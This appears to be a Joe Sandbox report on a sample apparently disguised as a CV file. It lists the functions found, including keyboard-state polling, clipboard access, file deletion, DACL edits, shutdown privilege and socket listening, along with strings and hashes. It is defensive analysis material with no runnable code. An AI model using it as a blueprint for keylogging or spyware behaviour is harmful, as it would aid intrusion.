Strings

*.*, xrefs: 003D1D28

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 2b7a8b2ec7adfe639588a67cfcb0087ff860f2d39431d7b561ec726b35301caa
Instruction ID: b06267c29489664c8f5db595da7b77c2cbe1aeedaa1ef6f2d00dd6c21fd6c603
Opcode Fuzzy Hash: 2b7a8b2ec7adfe639588a67cfcb0087ff860f2d39431d7b561ec726b35301caa
Instruction Fuzzy Hash: E8310873900619BBCF12AFA0ED09BEE77AD9F45320F150567F801A7291DB70DE458A68

Function 00387D19 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 962COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00387DBD

Strings

\b(?<=\w), xrefs: 003FF877
\, xrefs: 00387D89
[:>:]], xrefs: 00387D37
], xrefs: 00387D9F
Q\E, xrefs: 003886D6
\b(?=\w), xrefs: 003FF85E
\, xrefs: 003FF95B
[, xrefs: 00387E14
^, xrefs: 00387D96
\, xrefs: 00387E1D
[:<:]], xrefs: 00387D1D

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _memset
String ID: Q\E$[$[:<:]]$[:>:]]$\$\$\$\b(?<=\w)$\b(?=\w)$]$^
API String ID: 2102423945-2023335898
Opcode ID: bfbc7f97cf46da1b8befc921d9556efa160c113f60a55a8965861f12c41050a6
Instruction ID: ee58fcd15b908d1c6460a122254ba1865f9bffc0369d5ca345b3b446fb6274d4
Opcode Fuzzy Hash: bfbc7f97cf46da1b8befc921d9556efa160c113f60a55a8965861f12c41050a6
Instruction Fuzzy Hash: FE82BF71D04219CFCF26DF98C8807ADB7B2BF45310F2581AAD959AB391E774AD85CB80

Function 003D091D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 003D09DF
SystemTimeToFileTime.KERNEL32(?,?), ref: 003D09EF
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 003D09FB
__wsplitpath.LIBCMT ref: 003D0A59
_wcscat.LIBCMT ref: 003D0A71
_wcscat.LIBCMT ref: 003D0A83
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 003D0A98
SetCurrentDirectoryW.KERNEL32(?), ref: 003D0AAC
SetCurrentDirectoryW.KERNEL32(?), ref: 003D0ADE
SetCurrentDirectoryW.KERNEL32(?), ref: 003D0AFF
_wcscpy.LIBCMT ref: 003D0B0B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 003D0B4A

Strings

*.*, xrefs: 003D0B05

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: 936ff5324cd762e7e00f7a65b489e002561254b6c8d16baee5ed42b1297dbee5
Instruction ID: a3b1e58a4e73a896dafd20ddfecb6a0508dc34ae9b1a027a3df4de81acb06991
Opcode Fuzzy Hash: 936ff5324cd762e7e00f7a65b489e002561254b6c8d16baee5ed42b1297dbee5
Instruction Fuzzy Hash: C5618A725083059FC715EF60D884AAEB3E8FF89310F04496EF989DB251DB31E949CB92

Function 003BA66C Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003BABBB: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 003BABD7
Part of subcall function 003BABBB: GetLastError.KERNEL32(?,003BA69F,?,?,?), ref: 003BABE1
Part of subcall function 003BABBB: GetProcessHeap.KERNEL32(00000008,?,?,003BA69F,?,?,?), ref: 003BABF0
Part of subcall function 003BABBB: HeapAlloc.KERNEL32(00000000,?,003BA69F,?,?,?), ref: 003BABF7
Part of subcall function 003BABBB: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 003BAC0E

Part of subcall function 003BAC56: GetProcessHeap.KERNEL32(00000008,003BA6B5,00000000,00000000,?,003BA6B5,?), ref: 003BAC62
Part of subcall function 003BAC56: HeapAlloc.KERNEL32(00000000,?,003BA6B5,?), ref: 003BAC69
Part of subcall function 003BAC56: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,003BA6B5,?), ref: 003BAC7A

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 003BA6D0
_memset.LIBCMT ref: 003BA6E5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 003BA704
GetLengthSid.ADVAPI32(?), ref: 003BA715
GetAce.ADVAPI32(?,00000000,?), ref: 003BA752
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 003BA76E
GetLengthSid.ADVAPI32(?), ref: 003BA78B
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 003BA79A
HeapAlloc.KERNEL32(00000000), ref: 003BA7A1
GetLengthSid.ADVAPI32(?,00000008,?), ref: 003BA7C2
CopySid.ADVAPI32(00000000), ref: 003BA7C9
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 003BA7FA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 003BA820
SetUserObjectSecurity.USER32(?,00000004,?), ref: 003BA834

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 07c48c808fbaf07f08517d8fde4aef9a2c484ef33830663868158e9098511cea
Instruction ID: 5d6ed860fc2b25ff5c90ac49ab622b1cb0737f9cae33a1036d6bc988ca0f3a69
Opcode Fuzzy Hash: 07c48c808fbaf07f08517d8fde4aef9a2c484ef33830663868158e9098511cea
Instruction Fuzzy Hash: F3515B71900A09ABDF01DFA1DD45EEEBBB9FF44308F048129EA15EA690DB349A05CB61

Function 00386F07 Relevance: 20.9, Strings: 16, Instructions: 883COMMON

Download Yara Rule

Strings

LIMIT_RECURSION=, xrefs: 00402D7E
BBB B, xrefs: 00387096, 0038709C
CR), xrefs: 00402E09
UCP), xrefs: 00402C8F
ANYCRLF), xrefs: 00402E7D
UTF16), xrefs: 00402C56
NO_START_OPT), xrefs: 00402CD1
B, xrefs: 00386F77
UTF), xrefs: 00402C7C
LF), xrefs: 00402E26
BSR_ANYCRLF), xrefs: 00402EA0
LIMIT_MATCH=, xrefs: 00402CF2
NO_AUTO_POSSESS), xrefs: 00402CB0
CRLF), xrefs: 00402E43
ANY), xrefs: 00402E60
BSR_UNICODE), xrefs: 00402EBA

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID: B$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)$BBB B
API String ID: 0-3391377756
Opcode ID: 3cb229eb03df7c5d60d2019c419b35a873c561154fe18e5f305df1ac9734a727
Instruction ID: 34df2477ae5e490676d871f4a243c77651fd2f64467e69fa418aa8da05048636
Opcode Fuzzy Hash: 3cb229eb03df7c5d60d2019c419b35a873c561154fe18e5f305df1ac9734a727
Instruction Fuzzy Hash: DD727E71E043199BDB25DF59C8807AEB7B5BF48310F2481ABE805EB2C0DB749E41DB95

Function 003C63F9 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003C6EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,003C5FA6,?), ref: 003C6ED8

Part of subcall function 003C72CB: GetFileAttributesW.KERNEL32(?,003C6019), ref: 003C72CC

_wcscat.LIBCMT ref: 003C6441
__wsplitpath.LIBCMT ref: 003C645F
FindFirstFileW.KERNEL32(?,?), ref: 003C6474
_wcscpy.LIBCMT ref: 003C64A3
_wcscat.LIBCMT ref: 003C64B8
_wcscat.LIBCMT ref: 003C64CA
DeleteFileW.KERNEL32(?), ref: 003C64DA
FindNextFileW.KERNEL32(00000000,00000010), ref: 003C64EB
FindClose.KERNEL32(00000000), ref: 003C6506

Strings

\*.*, xrefs: 003C643B

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: File$Find_wcscat$AttributesCloseDeleteFirstFullNameNextPath__wsplitpath_wcscpy
String ID: \*.*
API String ID: 2643075503-1173974218
Opcode ID: 2f30f77c0b511697c078f49e4d2cb922dc15715b39ec996779a9f2b7fa71310a
Instruction ID: 50729175a36ba03338fcc3a14ca92d79a33b8bc58629f1ba6adaa35bdb5c5c5d
Opcode Fuzzy Hash: 2f30f77c0b511697c078f49e4d2cb922dc15715b39ec996779a9f2b7fa71310a
Instruction Fuzzy Hash: EA3184B24083849AC722DBE48885EDBB7DCAF56310F44492EF5D9C7141EA35D90D8767

Function 003E31BC Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 003E3C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,003E2BB5,?,?), ref: 003E3C1D

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003E328E

Part of subcall function 0038936C: __swprintf.LIBCMT ref: 003893AB
Part of subcall function 0038936C: __itow.LIBCMT ref: 003893DF

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 003E332D
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 003E33C5
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 003E3604
RegCloseKey.ADVAPI32(00000000), ref: 003E3611

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: f127149515db203cef2689a5e4290ef533a8d2decb7a1462847e3b75cf00375b
Instruction ID: e1e4935becd8af4f98696acc9f97018edc7551caae226c844afd2dabe0bb5a77
Opcode Fuzzy Hash: f127149515db203cef2689a5e4290ef533a8d2decb7a1462847e3b75cf00375b
Instruction Fuzzy Hash: 39E17D35604210AFCB16DF29C995E2ABBE8FF89714F04896DF44ADB2A1DB30ED05CB51

Function 003C2B37 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 003C2B5F
GetAsyncKeyState.USER32(000000A0), ref: 003C2BE0
GetKeyState.USER32(000000A0), ref: 003C2BFB
GetAsyncKeyState.USER32(000000A1), ref: 003C2C15
GetKeyState.USER32(000000A1), ref: 003C2C2A
GetAsyncKeyState.USER32(00000011), ref: 003C2C42
GetKeyState.USER32(00000011), ref: 003C2C54
GetAsyncKeyState.USER32(00000012), ref: 003C2C6C
GetKeyState.USER32(00000012), ref: 003C2C7E
GetAsyncKeyState.USER32(0000005B), ref: 003C2C96
GetKeyState.USER32(0000005B), ref: 003C2CA8

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: ae69fdcb3efee71981cd8bdcf83d079921e780837f147a6f6eb0d12481deb338
Instruction ID: e323af11e24412e67e147db21368b1151ad9cf24d6aaa4308698c04934f3e5df
Opcode Fuzzy Hash: ae69fdcb3efee71981cd8bdcf83d079921e780837f147a6f6eb0d12481deb338
Instruction Fuzzy Hash: BB41A4349047C96DFF369B648904BABBEA06B11344F05C05DD9C6962C2DFA49DC8C7A2

Function 003D6D07 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 003D6D2E
EmptyClipboard.USER32 ref: 003D6D34
GlobalAlloc.KERNEL32(00000002,?), ref: 003D6D49
CloseClipboard.USER32 ref: 003D6DE8

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: d5f2cb13243d4d425a3a52242962237ab83cf7a8ae1d6b4ded8da709fa3fc837
Instruction ID: 12fa4e0bda6b024538136bab21097aa54059a3c66b76d3e6a81b439f04edd320
Opcode Fuzzy Hash: d5f2cb13243d4d425a3a52242962237ab83cf7a8ae1d6b4ded8da709fa3fc837
Instruction Fuzzy Hash: 4821B736700110AFDB12AF54ED49B2D77A9FF44710F05842AF91ADB261CB35EC008F54

Function 003DC18C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

Part of subcall function 003B9ABF: CLSIDFromProgID.OLE32 ref: 003B9ADC
Part of subcall function 003B9ABF: ProgIDFromCLSID.OLE32(?,00000000), ref: 003B9AF7
Part of subcall function 003B9ABF: lstrcmpiW.KERNEL32(?,00000000), ref: 003B9B05
Part of subcall function 003B9ABF: CoTaskMemFree.OLE32(00000000,?,00000000), ref: 003B9B15

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 003DC235
_memset.LIBCMT ref: 003DC242
_memset.LIBCMT ref: 003DC360
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000001), ref: 003DC38C
CoTaskMemFree.OLE32(?), ref: 003DC397

Strings

NULL Pointer assignment, xrefs: 003DC3E5

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 9f0625fc8623b1e980ac387495148e914d572e2cc8b4d77a10303089e41b7693
Instruction ID: e3ba64d4e91383d607af9b52dda6e51e462c8326a81bdec0d07b359ea119a27a
Opcode Fuzzy Hash: 9f0625fc8623b1e980ac387495148e914d572e2cc8b4d77a10303089e41b7693
Instruction Fuzzy Hash: 47915E72D10219ABDF12EF95DC51EDEBBB8EF08310F10815AF515AB281DB709A45CFA0

Function 003C79D3 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 003BB134: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 003BB180
Part of subcall function 003BB134: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 003BB1AD
Part of subcall function 003BB134: GetLastError.KERNEL32 ref: 003BB1BA

ExitWindowsEx.USER32(?,00000000), ref: 003C7A0F

Strings

@, xrefs: 003C7A02
SeShutdownPrivilege, xrefs: 003C79DD
, xrefs: 003C79FD

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 695289967f1dc5bb10db4bda0d233f28f67ba6ee48e2357ce41f9a098f1801bb
Instruction ID: bfc76e7116e2c49139fb3ff1239969019a868e12c8523ef681b54db86c68993f
Opcode Fuzzy Hash: 695289967f1dc5bb10db4bda0d233f28f67ba6ee48e2357ce41f9a098f1801bb
Instruction Fuzzy Hash: 4601FC796582116AF72E6674CC4AFBF725C9704340F15142CBD13F21D1D5719E0087B4

Function 003D8C4F Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 003D8CA8
WSAGetLastError.WSOCK32(00000000), ref: 003D8CB7
bind.WSOCK32(00000000,?,00000010), ref: 003D8CD3
listen.WSOCK32(00000000,00000005), ref: 003D8CE2
WSAGetLastError.WSOCK32(00000000), ref: 003D8CFC
closesocket.WSOCK32(00000000,00000000), ref: 003D8D10

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 9d97d1a85e5794debeaf0eac8869336356257ee1b9ca8a6e67ade6f9ce7e0653
Instruction ID: 38e32728c39cf233401c9aa2fd2e50ed083582e60e4343160a30196891fa2688
Opcode Fuzzy Hash: 9d97d1a85e5794debeaf0eac8869336356257ee1b9ca8a6e67ade6f9ce7e0653
Instruction Fuzzy Hash: 5621F332A00200EFCB12EF68DD45B6EB7A9EF48710F108159F916AB3D2CB70AD05CB51

Function 003C6532 Relevance: 9.1, APIs: 6, Instructions: 71processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 003C6554
Process32FirstW.KERNEL32(00000000,0000022C), ref: 003C6564
Process32NextW.KERNEL32(00000000,0000022C), ref: 003C6583
__wsplitpath.LIBCMT ref: 003C65A7
_wcscat.LIBCMT ref: 003C65BA
CloseHandle.KERNEL32(00000000,?,00000000), ref: 003C65F9

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath_wcscat
String ID:
API String ID: 1605983538-0
Opcode ID: f6e80eea7a71e52b6277ae37c309cad7c240ccb44354f50d2105136d81ba5b07
Instruction ID: d550b9b870b36f25e3c57788079927f407e5a08f15f338d7ab404b3bdd6b94fb
Opcode Fuzzy Hash: f6e80eea7a71e52b6277ae37c309cad7c240ccb44354f50d2105136d81ba5b07
Instruction Fuzzy Hash: CA218471D00218ABDB11ABA4CD89FEEBBBCAB49300F6004A9F505E7141EB759F85CB61

Function 00389B60 Relevance: 8.6, Strings: 6, Instructions: 1055COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00389ED4
VUUU, xrefs: 00389EA7
VUUU, xrefs: 0040BE14
VUUU, xrefs: 00389E95
B, xrefs: 00389CF3
ERCP, xrefs: 00389C32

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU$B
API String ID: 0-117492517
Opcode ID: e69a597b2f750ba36bad1dfa4b0007930b83b7e39691b752aa1f194f869a410b
Instruction ID: d7906bf1d0f6fdf9732dcecd875ca40dd2353b63086f1930cba1e8125c9e0ab3
Opcode Fuzzy Hash: e69a597b2f750ba36bad1dfa4b0007930b83b7e39691b752aa1f194f869a410b
Instruction Fuzzy Hash: C8927D71A0061ACBEF25DF58C8807BEB7B1BB54314F1582ABE816BB380D7749D81CB95

Function 003C13CA Relevance: 8.1, APIs: 1, Strings: 4, Instructions: 560stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 003C13DC

Strings

(, xrefs: 003C1422
<2C, xrefs: 003C16FA
,2C, xrefs: 003C16B1
|, xrefs: 003C140C

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: lstrlen
String ID: ($,2C$<2C$|
API String ID: 1659193697-3219782434
Opcode ID: 03df712f08fcf911b9731d2e9ac6c1925637e34a4f898e5e1e7da511686168ca
Instruction ID: 817455c79c8691425d9f84ee52ed783834bb85bbab96c8585288e62376b2b53a
Opcode Fuzzy Hash: 03df712f08fcf911b9731d2e9ac6c1925637e34a4f898e5e1e7da511686168ca
Instruction Fuzzy Hash: A0321475A006059FCB29CF69C480E6AB7F0FF49320B12C56EE49ADB7A2D770E941CB44

